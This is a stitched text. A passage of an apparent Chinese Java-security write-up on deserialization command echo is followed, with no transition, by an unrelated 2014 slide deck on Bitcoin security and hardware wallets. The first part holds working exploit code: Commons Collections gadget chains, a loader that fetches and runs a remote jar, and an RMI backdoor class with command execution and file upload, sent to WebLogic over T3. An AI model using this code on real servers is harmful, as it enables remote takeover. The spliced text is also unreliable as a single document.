0, 3, 103, 98, 107, 7, 0, 78, 12, 0, 79, 0, 80, 12, 0, 25, 0, 81, 1, 0, 22, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 12, 0, 25, 0, 82, 1, 0, 22, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 12, 0, 83, 0, 84, 12, 0, 85, 0, 86, 1, 0, 1, 10, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 87, 0, 84, 12, 0, 25, 0, 26, 1, 0, 16, 99, 111, 109, 47, 110, 105, 99, 101, 48, 101, 51, 47, 101, 99, 104, 111, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 3, 40, 41, 86, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 5, 115, 116, 97, 114, 116, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 1, 0, 7, 102, 111, 114, 78, 97, 109, 101, 1, 0, 46, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 59, 1, 0, 50, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 59, 41, 86, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 82, 101, 97, 100, 101, 114, 59, 41, 86, 1, 0, 8, 114, 101, 97, 100, 76, 105, 110, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 44, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 0, 33, 0, 23, 0, 24, 0, 0, 0, 0, 0, 1, 0, 1, 0, 25, 0, 26, 0, 2, 0, 27, 0, 0, 0, -10, 0, 6, 0, 7, 0, 0, 0, 112, 42, -73, 0, 1, -69, 0, 2, 89, 6, -67, 0, 3, 89, 3, 18, 4, 83, 89, 4, 18, 5, 83, 89, 5, 43, 83, -73, 0, 6, -74, 0, 7, -74, 0, 8, 77, -69, 0, 9, 89, 44, 18, 10, -72, 0, 11, -73, 0, 12, 78, -69, 0, 13, 89, 45, -73, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 1, 58, 6, 25, 4, -74, 0, 17, 89, 58, 6, -58, 0, 19, 25, 5, 25, 6, -74, 0, 18, 18, 19, -74, 0, 18, 87, -89, -1, -24, -69, 0, 20, 89, 25, 5, -74, 0, 21, -73, 0, 22, -65, 0, 0, 0, 2, 0, 28, 0, 0, 0, 38, 0, 9, 0, 0, 0, 9, 0, 4, 0, 10, 0, 36, 0, 11, 0, 50, 0, 12, 0, 60, 0, 13, 0, 69, 0, 14, 0, 72, 0, 15, 0, 83, 0, 16, 0, 99, 0, 18, 0, 29, 0, 0, 0, 72, 0, 7, 0, 0, 0, 112, 0, 30, 0, 31, 0, 0, 0, 0, 0, 112, 0, 32, 0, 33, 0, 1, 0, 36, 0, 76, 0, 34, 0, 35, 0, 2, 0, 50, 0, 62, 0, 36, 0, 37, 0, 3, 0, 60, 0, 52, 0, 38, 0, 39, 0, 4, 0, 69, 0, 43, 0, 40, 0, 41, 0, 5, 0, 72, 0, 40, 0, 42, 0, 33, 0, 6, 0, 43, 0, 0, 0, 4, 0, 1, 0, 20, 0, 1, 0, 44, 0, 0, 0, 2, 0, 45};    @Override    protected Class<?> findClass(String name) throws ClassNotFoundException {        if (name.equals(Classname)){            return defineClass(Classname,ClassBytes,0,ClassBytes.length);       }        return super.findClass(name);   }    public static void main(String[] args) {        demo loader = new demo();        try {            // 使用自定义的类加载器加载TestHelloWorld类            Class testClass = loader.loadClass(Classname);            testClass.getConstructor(String.class).newInstance("ipconfig");       } catch (Exception e) {            e.printStackTrace();   }}} URLClassLoader异常回显 将其打包成jar包 将jar包挂载到web import java.io.*; import java.nio.charset.Charset; public class ProcessExec {    public ProcessExec(String cmd) throws Exception {        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();        InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));        BufferedReader bufferedReader = new BufferedReader(streamReader);        StringBuffer buffer = new StringBuffer();        String line = null;        while((line = bufferedReader.readLine()) != null) {            buffer.append(line).append("\n");       }        throw new Exception(buffer.toString());   } } javac ProcessExec.java jar -cvf ProcessExec.jar ProcessExec.class package com.nice0e3; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class test1 {    public static void main(String[] args) throws Exception {        URL url = new URL("http://127.0.0.1:8000/ProcessExec.jar");        URL[] urls = {url};        URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);        Constructor<?> processExec = urlClassLoader.loadClass("ProcessExec").getConstructor(String.class);        processExec.newInstance("ipconfig");   } } 改造CC链 将cc5链抠出来稍做修改。 package com.nice0e3; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; public class cc5 {    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, MalformedURLException {        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {            new ConstantTransformer(URLClassLoader.class),                    new InvokerTransformer("getConstructor",                            new Class[]{Class[].class},                            new Object[]{new Class[]{URL[].class}}),                    new InvokerTransformer("newInstance",                            new Class[]{Object[].class},                            new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8000/ProcessExec.jar")}}}),                    new InvokerTransformer("loadClass",                            new Class[]{String.class},                            new Object[]{"ProcessExec"}),                    new InvokerTransformer("getConstructor",                            new Class[]{Class[].class},                            new Object[]{new Class[]{String.class}}),                    new InvokerTransformer("newInstance",                            new Class[]{Object[].class},                            new Object[]{new String[]{"ipconfig"}})       });        HashMap innermap = new HashMap();        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);        TiedMapEntry tiedmap = new TiedMapEntry(map,123);        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField ("val");        val.setAccessible(true);        val.set(poc,tiedmap);        try{            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));            outputStream.writeObject(poc);            outputStream.close();            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));            inputStream.readObject();       }catch(Exception e){            e.printStackTrace();       }   } } RMI绑定实例回显 1. 编写远程接口 2. 实现远程接口 3. 编写服务端绑定EchoImpl package com.Rmi; import java.rmi.Remote; import java.rmi.RemoteException; public interface Echo extends Remote {    public String exec (String cmd) throws RemoteException;   ; } package com.Rmi; import java.io.InputStream; import java.rmi.RemoteException; public class EchoImpl implements Echo{    public String exec(String cmd) throws RemoteException {        InputStream in = null;        try {            in = Runtime.getRuntime().exec(cmd).getInputStream();       }catch (Exception e){            e.printStackTrace();       }        java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");        return s.hasNext()?s.next():"";   }   } package com.Rmi; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class EchoServer {    public static void main(String[] args) throws Exception {        Echo echo = new EchoImpl(); 4. 编写客户端调用远程方法        Echo e = null;            e = (Echo) UnicastRemoteObject.exportObject(echo,9999);            Registry registry =  LocateRegistry.createRegistry(9999);            registry.bind("Echo",e);            System.out.println("Start RMI Server................");   } } package com.Rmi; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class EvilClient {    public static void main(String[] args) throws RemoteException, NotBoundException {        Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);        Echo echo = (Echo) registry.lookup("Echo");        System.out.println(echo.exec("ipconfig"));   } } 改造 因为 ClassLoader 是一个 abstract 抽象类,所以只能从他的子类中寻找 defineClass() , 这里采用查看调用来寻找Classload的子类,我这里寻找到的是 然后需要寻找一个实现Remote的接口,也就是寻找RMI的实现接口。方法的返回类型应该为String,并 且方法必须抛出 java.rmi.RemoteException 异常。 查找到一下几个接口,符合条件的。 编写回显类 java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource) ClusterMasterRemote SingletonMonitorRemote RemoteMigratableServiceCoordinator RemoteLeasingBasis RemoteChannelService package com; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import sun.misc.BASE64Decoder; import weblogic.cluster.singleton.ClusterMasterRemote; import javax.naming.Context; import javax.naming.InitialContext; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.rmi.RemoteException; public class ECHOClass extends AbstractTranslet implements ClusterMasterRemote {    static {        try{            Context ctx = new InitialContext();            ctx.rebind("echo", new ECHOClass());       }catch (Exception e){       }   }    @Override    public void setServerLocation(String path, String text) throws RemoteException {        try {            FileOutputStream fileOutputStream = new FileOutputStream(path);            fileOutputStream.write(new BASE64Decoder().decodeBuffer(text));            fileOutputStream.flush();            fileOutputStream.close();       }catch (Exception e) {       }   }    @Override    public String getServerLocation(String cmd) throws RemoteException {        try {            if (cmd.equals("unbind")) {                Context ctx = new InitialContext();                ctx.unbind("sectest");                return null;           } else{                String name = System.getProperty("os.name");                String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                byte[] buf = new byte[1024];                int len = 0;                ByteArrayOutputStream out = new ByteArrayOutputStream();                while ((len = in.read(buf)) != -1) {                    out.write(buf, 0, len);               }                return new String(out.toByteArray());           }       }catch (Exception e){       }        return null; 这里该接口需要重写2个方法,一个返回类型为String,一个是void类型。那么这里使用返回类型为 String的 getServerLocation 方法来做命令执行回显,而 setServerLocation 作为上传的方法。在反 序列化的时候,结合利用链将该类打入目标服务器中,打入后会进行我们的 echo 会绑定 ECHOClass 这 个实例。然后再去调用一下代码进行命令执行回显。 而这里继承 AbstractTranslet 是为了某些利用链 TemplatesImpl 的动态加载。 改写cc链 最终代码 最终想使用cc7使用 ClasspathClassLoader 来做命令执行。   }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {   }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {   } } Object obj= getInitContext(protocol,host,port).lookup("echo"); ClusterMasterRemote shell = (ClusterMasterRemote)obj; String result = shell.getServerLocation("whoami"); Transformer[] transformers = new Transformer[]{    new ConstantTransformer(DefiningClassLoader.class),    new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),    new InvokerTransformer("defineClass",                           new Class[]{String.class, byte[].class}, new Object[] {className, byteclass}),    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),    new ConstantTransformer(new HashSet())}; public class test {    private static String host = "192.168.22.132";    private static String port = "7001";    public static void main(String[] args) {        try {            String url = "t3://" + host + ":" + port;            // 安装RMI实例            invokeRMI();            Hashtable env = new Hashtable();            env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");            env.put(Context.PROVIDER_URL, url);            env.put("weblogic.jndi.requestTimeout",15000L);            InitialContext initialContext = new InitialContext(env);            ClusterMasterRemote remote = (ClusterMasterRemote) initialContext.lookup("echo");            // 调用RMI实例执行命令            String res = remote.getServerLocation("ifconfig");            System.out.println(res);       } catch (Exception e) {            e.printStackTrace();       }   }    private static void invokeRMI() throws Exception {        byte[] buf = ClassFiles.classAsBytes(ECHOClass.class);        final Transformer transformerChain = new ChainedTransformer(                new Transformer[]{});        final Transformer[] transformers = new Transformer[]{                new ConstantTransformer(ClasspathClassLoader.class),                new InvokerTransformer("getDeclaredConstructor",                        new Class[]{Class[].class},                        new Object[]{new Class[0]}),                new InvokerTransformer("newInstance",                        new Class[]{Object[].class},                        new Object[]{new Object[0]}),                new InvokerTransformer("defineCodeGenClass",                        new Class[]{String.class, byte[].class, URL.class}, new Object[]{ECHOClass.class, buf, null}),                new ConstantTransformer(1)};        Map innerMap1 = new HashMap();        Map innerMap2 = new HashMap();        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);        lazyMap1.put("yy", 1);        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);        lazyMap2.put("zZ", 1);        // Use the colliding Maps as keys in Hashtable        Hashtable hashtable = new Hashtable();        hashtable.put(lazyMap1, 1);        hashtable.put(lazyMap2, 2);        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);        // Needed to ensure hash collision after previous manipulations        lazyMap2.remove("yy");        ByteArrayOutputStream out = new ByteArrayOutputStream();        ObjectOutputStream objOut = new ObjectOutputStream(out);        objOut.writeObject(hashtable);        objOut.flush();        objOut.close();        byte[] payload = out.toByteArray();        T3ProtocolOperation.send(host, port, payload);   } } 在rmi绑定实例回显中实际上就是打入一个rmi的后门,然后进行调用该后门进行执行命令,并且回显。 中间件回显 Java安全之反序列化回显与内存马 Java安全之挖掘回显链 Reference Weblogic使用ClassLoader和RMI来回显命令执行结果 0x02 结尾 不仅限于这些方法,还有其他的一些回显方法,比如说写文件或dnslog,比较简单。但例如dnslog这些 在不出网的情况就不行了。
pdf
Bitcoin Security 陳君明 Jimmy Chen 林志宏 Chris Lin [email protected] [email protected] August 19, 2014 InfoKeyVault Technology Agenda • Introduction to Bitcoin • Security of Bitcoin • Hardware Wallet 2 Agenda • Introduction to Bitcoin - Expanding Economy - Birth of Bitcoin - Cryptographic Primitives - Bitcoin Protocol • Security of Bitcoin • Hardware Wallet 3 4 http://www.cnbc.com/id/100971898 exactly one year ago 5 http://www.businessinsider.com/the-uk-treasury-wants-to-turn-london-into-a-bitcoin-capital-2014-8 http://www.dell.com/learn/us/en/uscorp1/campaigns/bitcoin-marketing 6 http://online.wsj.com/articles/ebay-payment-unit-in-talks-to-accept-bitcoin-1408052917 7 Venture Capital Investment http://www.coindesk.com/state-of-bitcoin-q2-2014-report-expanding-bitcoin-economy http://www.coindesk.com/bitcoin-venture-capital VC Investment up to December 2013: US$ 110 millions VC Investment from January to June 2014: US$ 130 millions 8 2014 VC Investment in Bitcoin Overtakes VC Early-Stage Internet Investments http://www.coindesk.com/state-of-bitcoin-q2-2014-report-expanding-bitcoin-economy 9 Startup Ecosystem: 6 Classifications http://www.coindesk.com/state-of-bitcoin-q2-2014-report-expanding-bitcoin-economy 10 Investor View on Bitcoin http://www.coindesk.com/state-of-bitcoin-q2-2014-report-expanding-bitcoin-economy 11 Date Conference/Event Location Sep 11-12 APEX Digital Currency Partnerships San Francisco, California, US Sep 11-12 Bitcoin Central & Eastern European Conference Ljubljana, Slovenia Sep 15-16 Inside Bitcoins London London, England Sep 17-18 Crypto Valley Summit Isle of Man, British Isles Sep 17-19 Digital Currency Summit Andorra la Vella, Andorra Sep 19-20 Bitcoin Expo China 2014 Shanghai, China Sep 26 Bitcoin Conference Kiev 2014 Kiev, Ukraine Sep 28-29 Seattle Bitcoin Summit Seattle, US Oct 10-11 Hashers United Las Vegas, US Oct 16-17 Bitcoin to Business Congress Brussels, Belgium Nov 2-6 Bitcoin World at Money2020 Las Vegas, US Nov 18-19 Payments Indonesia Jakarta, Indonesia Nov 24-25 Cryptocon Singapore Singapore Nov 29-30 Bitcoin South Queenstown, New Zealand Dec 5-7 Dubai Bitcoin Conference Dubai, UAE Worldwide Conferences & Events 12 https://bitcoin.org/en/events http://www.coindesk.com/bitcoin-events https://bitcoinfoundation.org/forum/index.php?/topic/810-upcoming-bitcoin-conferences-and-events Date Conference/Event Location July 3-4 Bitcoin Finance 2014 Dublin, Ireland July 9-10 Inside Bitcoins Melbourne, Australia July 19-20 North American Bitcoins Conference Chicago, Illinois, US July 23-24 Coin Congress San Francisco, California, US July 24-25 Cryptocon Sydney Sydney, Australia July 28-29 Inside Bitcoins Tel Aviv, Israel July 29 American Banker Digital Currencies Conference New York, US Aug 9 Bitcoin and Cryptocurrencies: Prospects for Development in Russia St. Petersburg, Russia Aug 15-16 Cryptolina Raleigh, North Carolina, US Aug 22 Toronto Bitcoin Hackathon 2014 Toronto, ON Aug 23 Scottish Bitcoin Conference Edinburgh, UK Aug 25 - Sep 1 Camp Bitcoin at Burning Man Black Rock City, Nevada, US Sep 1-2 World Bitcoin Forum Bonn, Germany Sep 3-5 Bitcoinference Summer 2014 Amsterdam, Netherlands Information up to August 15 Birth of Bitcoin • Described by Satoshi Nakamoto (中本聰) in 2008 • Introduced as open-source software on the evening of January 3, 2009 http://bitcoin.org/bitcoin.pdf 13 Excellent Tutorial for Beginners • How the Bitcoin protocol actually works - Published by Michael Nielsen on December 6, 2013 - http://www.michaelnielsen.org/ddi/how-the-bitcoin-protocol-actually-works - “This is the best explanation of the Bitcoin protocol that I have read” by Bruce Schneier https://www.schneier.com/blog/archives/2013/12/bitcoin_explana.html • “To understand the post, you need to be comfortable with public key cryptography, and with the closely related idea of digital signatures. I’ll also assume you’re familiar with cryptographic hashing.” • “In the world of atoms we achieve security with devices such as locks, safes, signatures, and bank vaults. In the world of bits we achieve this kind of security with cryptography. And that’s why Bitcoin is at heart a cryptographic protocol.” 14 Elliptic Curves 橢圓曲線 • The rich and deep theory of Elliptic Curves has been studied by mathematicians over 150 years Elliptic Curve over R: y2 = x3 + ax + b Point Addition Image Courtesy: http://www.embedded.com/design/safety-and-security/4396040/An-Introduction-to-Elliptic-Curve-Cryptography 15 Point Doubling Elliptic Curves over Prime Fields G(5,6) 2G 3G 4G 5G 6G 7G 8G 9G 10G 11G 12G 13G 14G 15G 16G 17G 18G 19G 20G 21G 22G 23G 24G 25G 27G 26G 30G 28G 29G 2 1 2 1 2 1 1 2 3 1 2 3 1 3 1 mod 3 mod 2 mod ( ) mod y y p x x s x a p y x s x x p y s x x y p                 (addition) (doubling) Addition: (x3, y3) = (x1, y1) + (x2, y2) Doubling: (x3, y3) = [2] (x1, y1) 16 The Elliptic Curve in Bitcoin for ECDSA https://en.bitcoin.it/wiki/Secp256k1 http://www.secg.org/download/aid-784/sec2-v2.pdf 17 ECDSA : Elliptic Curve Digital Signature Algorithm 256-bit prime 256-bit prime Key Pairs for Digital Signatures • The base point G is fixed on the given Elliptic Curve • P = [m] G - Given m, it is easy and fast to find the point P • Using “double and add” for scalar multiplication - Given P, it is extremely hard to find the integer m • Elliptic Curve Discrete Logarithm Problem (橢圓曲線離散對數問題) - A randomly generated integer m is a private key for ECDSA • A private key is used to sign Bitcoin transactions - The point P is the public key corresponding to m • A public key is used by other nodes to verify Bitcoin transactions • A Bitcoin address is the hash value of a public key P 18 Hash Functions 雜湊函數 19 • Definition H is a function with one-way property if given any y, it is computationally infeasible to find any value x in the domain of H such that H(x) = y • Definition H is a cryptographic hash function if – Input : bit strings of arbitrary length – Output H : bit strings of fixed length • “hash values” or “hash codes” – H has one-way property • Definition H is collision free if it is computationally infeasible to find x'  x such that H(x' ) = H(x) SHA-256 Algorithm and variant Output size (bits) Internal state size (bits) Block size (bits) Max message size (bits) Word size (bits) Rounds Bitwise operations Collisions found Example Performance (MiB/s) SHA-1 160 160 512 264 − 1 32 80 and, or, xor, rot Theoretical attack (261) 192 SHA-2 SHA-224 SHA-256 224 256 256 512 264 − 1 32 64 and, or, xor, shr, rot None 139 SHA-384 SHA-512 SHA-512/224 SHA-512/256 384 512 224 256 512 1024 2128 −1 64 80 and, or, xor, shr, rot None 154 http://en.wikipedia.org/wiki/SHA-2 • SHA stands for Secure Hash Algorithm • SHA-2 is a set of cryptographic hash functions designed by the U.S. National Security Agency (NSA) and published in 2001 by NIST as a U.S. Federal Information Processing Standard (FIPS) 20 Merkle Tree / Hash Tree 21 http://commons.wikimedia.org/wiki/File:MerkleTree1.jpg http://commons.wikimedia.org/wiki/File:MerkleTree2.jpg SHA-256: Hash Function in Bitcoin Block Block Merkle Root Must be protected very well!!! 22 Transactions http://bitcoin.org/bitcoin.pdf 23 Block Chain http://bitcoin.org/bitcoin.pdf Mining https://blockchain.info 24 25 26 Agenda • Introduction to Bitcoin • Security of Bitcoin - Strength of Crypto Primitives (ECDSA & SHA) - Random Number Generators - Side Channel Attacks - Transaction Malleability & Mt. Gox’ Bankruptcy - 51% Attack & Doomsday - … etc. • Hardware Wallet 27 Comments from Crypto Legends 28 Paul Kocher Ron Rivest Adi Shamir Whit Diffie http://www.youtube.com/watch?v=gMc9fHvc78Y “R” of RSA “S” of RSA “D” of DHKE DPA inventor Cryptographers’ Panel at RSA Conference 2014 [February 24-28] • Adi Shamir (R S A) – “It was supposed to be a decentralized system, which no one would be in control of. It turns out that there were a few organizations which, a few exchanges which dominated the market. Almost nobody can mine Bitcoins at the moment. So if you want to make any money out of the mining operation, you have to buy these very very expensive ASICs. And therefore again, it’s highly centralized.” – “If you think about how many cases are reported, in which Bitcoins are stolen from computers – from electronic wallets kept in your computer – it shows that the currency on the Internet cannot be kept on the Internet, which I find very ironic.” • Whit Diffie (Diffie-Hellman Key Exchange) – “I thought indeed in its original vision as a totally decentralized thing, that was tremendously exciting. I mean we’ve been trying, we’ve been chasing, […] decentralized, anonymous, this, that, and the other electronic banking; now for about three decades. So this struck me as a big leap forward in that direction. And Bitcoin […] needn't be perfect as a design, there are related designs that attempt to debug it. The kind of centralization you’re talking about is very hard to eliminate in anything.” • [See Appendix for complete script] 29 30 http://www.rsaconference.com/events/us14/agenda/sessions/973/bitcoin-is-here-how-to-become-a-successful-bitcoin Security Level: 128 Bits (Complexity 2128) 31 http://www.keylength.com NSA Suite B Cryptography 32 Algorithm Function Specification Parameters ECDSA Digital Signature FIPS Pub 186-4 Curve P-256 for SECRET Curve P-384 for TOP SECRET SHA Hashing FIPS Pub 180-4 SHA-256 for SECRET SHA-384 for TOP SECRET http://www.nsa.gov/ia/programs/suiteb_cryptography • The strength of Bitcoin crypto primitives is equivalent to that for protecting classified information of the USA government up to the SECRET level • Almost all the possible problems of Bitcoin come from its implementations, though the Bitcoin protocol looks perfect and its cryptography is strong enough Signing of ECDSA 33 http://en.wikipedia.org/wiki/Elliptic_Curve_DSA k : ephemeral key Random Number Generators (RNG) • With DSA/ECDSA, the entropy, secrecy, and uniqueness of the random ephemeral key k is critical - Violating any one of the above three requirements can reveal the entire private key to an attacker - Using the same value twice (even while keeping k secret), using a predictable value, or leaking even a few bits of k in each of several signatures, is enough to break DSA/ECDSA • [December 2010] The ECDSA private key used by Sony to sign software for the PlayStation 3 game console was recovered, because Sony implemented k as static instead of random • [August 2013] Bugs in some implementations of the Java class SecureRandom sometimes generated collisions in k, allowing in stealing bitcoins from the containing wallet on Android app • This issue can be prevented by deriving k deterministically from the private key and the message hash, as described by RFC 6979 http://en.wikipedia.org/wiki/Digital_Signature_Algorithm http://en.wikipedia.org/wiki/Elliptic_Curve_DSA 34 Side Channel Attacks (SCA) • A side channel attack is based on information gained from the physical implementation of a cryptosystem - e.g., timing information, power consumption, electromagnetic leaks, or even sound • "Almost every smart card you buy today is going to have countermeasures to Simple Power Analysis (SPA) and Differential Power Analysis (DPA)," said Benjamin Jun, vice president of technology at Cryptography Research, Inc. (CRI); however, some newer implementations of Elliptic Curve Cryptosystems (ECC) "do in fact leak information." 35 http://www.cnet.com/news/workshop-exposes-deficiencies-of-electronic-encryption 36 http://www.coindesk.com/bitcoin-bug-guide-transaction-malleability 交易延展 37 http://arxiv.org/pdf/1403.6676v1.pdf 38 http://www.coindesk.com/bitcoin-miners-ditch-ghash-io-pool-51-attack Bitcoin’s “Doomsday”? (June 14, 2014) 39 http://news.list-online.com/prices-fall-as-bitcoin-confronts-doomsday-scenario-business-insider Bitcoin  GHashcoin 40 https://blockchain.info/pools?timespan=4days August 17, 2014 Internet Traffic Hijacking 41 Border Gateway Protocol Security of Exchange Platform https://www.maicoin.com 42 Agenda • Introduction to Bitcoin • Security of Bitcoin • Hardware Wallet - What is Bitcoin Wallet? - How to Secure Bitcoin Wallets? - Introduction to Hardware Wallets - Scenario of Using the Proposed Hardware Wallet - Demo of the Proposed Hardware Wallet 43 Using a Bitcoin Wallet Interface Bitcoin Wallet Bitcoin P2P Network Private Key Signed Transaction Unsigned Transaction 44 What is Bitcoin Wallet? • A set of Bitcoin private keys & associated addresses - It can transfer Bitcoin to receivers - It can receive Bitcoin from somebody else - It can show the balance • Hot Storage - Software Wallet - Web Wallet • Cold Storage - Paper Wallet - Hardware Wallet 45 Software Wallet (PC Program / Mobile App) The screenshot of Bitcoin Core  https://bitcoin.org/en/download 46 Web Wallet https://www.maicoin.com 47 Paper Wallet Bitcoin Address Bitcoin Private Key https://blog.safello.com/index.php/2014/02/13/how-to-redeem-and-use-a-bitcoin-paper-wallet 48 Piper http://cryptographi.com 49 How to Secure Bitcoin Wallets? • Backup the wallet - Backup entire wallet - Encrypt online backups - Use many secure locations - Make regular backups • Encrypt the wallet - User a strong password and never forget it • Keep the software up to date https://bitcoin.org/en/secure-your-wallet 50 How to Secure Bitcoin Wallets? • Backup the wallet - Backup entire wallet - Encrypt online backups - Use many secure locations - Make regular backups • Encrypt the wallet - User a strong password and never forget it • Keep the software up to date • Offline wallet for savings - Offline transaction signing - Hardware wallets Hack Steal User’s File Brute Force / Key Logger / Social Engineering / … Need More Work  Fake Update Site 51 Hardware Wallets • Best balance between very high secure and ease of use • No software can be installed on them  Very secure against computer vulnerabilities • Backup and Recovery https://bitcoin.org/en/secure-your-wallet 52 http://www.pi-wallet.com 53 http://www.hardbit.cn 54 Trezor • Specification - 59 x 30 x 6 mm, OLED with 128 x 64 pixels - I/O Interface: Micro USB (HID Class), Two buttons - Supported software wallet: bitcoincore, MultiBit, … - Supported web wallet: blockchain, myTrezor, … • Security Features - Generate private keys internally and never leave it - On device transaction signing - PIN protection (Dynamic PIN pad) - Backup by a seed (BIP0039, Bitcoin Improve Proposal) - Open-source include software and hardware http://www.bitcointrezor.com 55 Comparison of Hardware Wallets Category Trezor Hardbit Interface Communication Interface Micro USB Camera Security Features Store Private Key Security Levels Encrypted Flash Flash Backup Seed QR Code Pin Protection Special Pin Input on Device Software Support Wallet Software Integration Multi-Bit Electrum Block-chain MyTrezor Web Customized POS Source Code Open Closed 56 Other Hardware Wallets Mycelium Bitcoincard BTChip PRISMicide Some Concepts BitSafe 57 http://www.butterflylabs.com/bitcoin-hardware-wallet 58 Mycelium Bitcoincard https://mycelium.com/bitcoincard 59 http://btchip.com/index.html 60 https://www.indiegogo.com/projects/prismicide-world-s-most-secure-bitcoin-hardware-wallet-and-anti-prism-platform 61 Bitcoin Hot & Cold Wallet Concept http://news.insidebitcoins.com/bitcoin-cold-hot-wallet-concept 62 https://en.bitcoin.it/wiki/Hardware_wallet https://en.bitcoin.it/wiki/Smart_card_wallet 63 • Easy of use - Easy to understand - Easy to operate - Easy to carry What Should a Hardware Wallet Be? • Security - Private keys protected in the device and never exposed in plaintext - Device authentication - Sign the bitcoin transaction “offline” with decent RNG - Able to backup and restore when hardware failure or lose - Solid hardware and firmware against thieves - Using secure chip against hardware hack • Advanced Features - HD wallet (BIP0032) - Multi-signature feature Scenario of Using a Hardware Wallet • How to prevent unauthorized signing request? • How to prevent manipulated signing request? Software Interface Bitcoin P2P Network Balance 4. Signed Transaction 1. Sync Transactions 3. Signed Transaction 2. Unsigned Transaction 